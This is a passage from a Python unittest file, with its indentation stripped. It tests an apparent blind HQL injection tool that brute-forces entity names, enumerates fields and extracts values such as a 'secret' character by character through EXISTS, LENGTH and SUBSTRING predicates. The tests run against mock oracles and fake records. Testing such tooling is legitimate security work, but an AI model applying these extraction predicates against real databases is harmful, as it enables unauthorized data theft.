# entity brute: EXISTS(SELECT 1 FROM <entity> _h)
if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate):
return True
# attribute existence: EXISTS(SELECT _h.<attr> FROM <entity> _h)
m = re.search(r"SELECT _h\.(\w+) FROM", predicate)
if m:
return m.group(1) in record
# length: LENGTH(CAST(_h.<attr> AS string)) ... >= N
if "LENGTH" in predicate:
m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate)
n = re.search(r">=(\d+)", predicate)
if m and n:
return len(str(record.get(m.group(1), ""))) >= int(n.group(1))
# char: SUBSTRING(CAST(_h.<attr> AS string),<pos>,1) ... ='<c>'
if "SUBSTRING" in predicate:
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
c = re.search(r"='(.)'\s*$", predicate)
if m and c:
attr, pos, ch = m.group(1), int(m.group(2)), c.group(1)
value = str(record.get(attr, ""))
return pos <= len(value) and value[pos - 1] == ch
return False
return truth
class TestExtraction(unittest.TestCase):
def setUp(self):
self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"}
self.truth = _recordOracle(self.record)
def test_brute_entities(self):
self.assertEqual(hql._bruteEntities(self.truth), ["Member"])
def test_enum_fields(self):
fields = hql._enumFields(self.truth, "Member")
for expected in ("id", "name", "secret", "role"):
self.assertIn(expected, fields)
def test_infer_string_value(self):
self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice")
def test_infer_secret_with_symbols(self):
self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice")
def test_infer_numeric_via_cast(self):
self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1")
def test_infer_absent_attribute_empty(self):
self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "")
def _multiOracle(records):
"""Row-aware oracle: honors the "_h2.<pin> > <after>" walk bound by selecting the
smallest-id record strictly greater than `after`."""
def pick(predicate):
m = re.search(r"_h2\.\w+>(\d+)", predicate)
after = int(m.group(1)) if m else None
cands = [r for r in records if after is None or int(r["id"]) > after]
return min(cands, key=lambda r: int(r["id"])) if cands else None
def truth(predicate):
if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate):
return True
m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate)
if m:
return m.group(1) in records[0]
rec = pick(predicate)
if rec is None:
return False
if "LENGTH" in predicate:
m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate)
n = re.search(r">=(\d+)", predicate)
if m and n:
return len(str(rec.get(m.group(1), ""))) >= int(n.group(1))
if "SUBSTRING" in predicate:
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
c = re.search(r"='(.)'\s*$", predicate)
if m and c:
value = str(rec.get(m.group(1), ""))
pos = int(m.group(2))
return pos <= len(value) and value[pos - 1] == c.group(1)
return False
return truth
class TestMultiRow(unittest.TestCase):
def setUp(self):
self.records = [
{"id": "1", "name": "alice", "role": "admin"},
{"id": "2", "name": "bob", "role": "user"},
{"id": "5", "name": "carol", "role": "staff"},
]
self.truth = _multiOracle(self.records)
def _walk(self, fields, pin):
rows, after = [], None
for _ in range(20):
pinValue = hql._inferValue(self.truth, "Member", pin, pin, after)
if not pinValue:
break
record = {pin: pinValue}
for field in fields:
if field != pin:
record[field] = hql._inferValue(self.truth, "Member", field, pin, after)
rows.append(record)
if not re.match(r"\A\d+\Z", pinValue):
break
after = pinValue
return rows
def test_walks_all_rows_in_order(self):
rows = self._walk(["id", "name", "role"], "id")
self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"])
self.assertEqual([r["id"] for r in rows], ["1", "2", "5"])
self.assertEqual(rows[2]["role"], "staff")
class TestGrid(unittest.TestCase):
def test_grid(self):
out = hql._grid(["id", "name"], [["1", "alice"]])
self.assertIn("alice", out)
self.assertIn("+--", out)
if __name__ == "__main__":
unittest.main()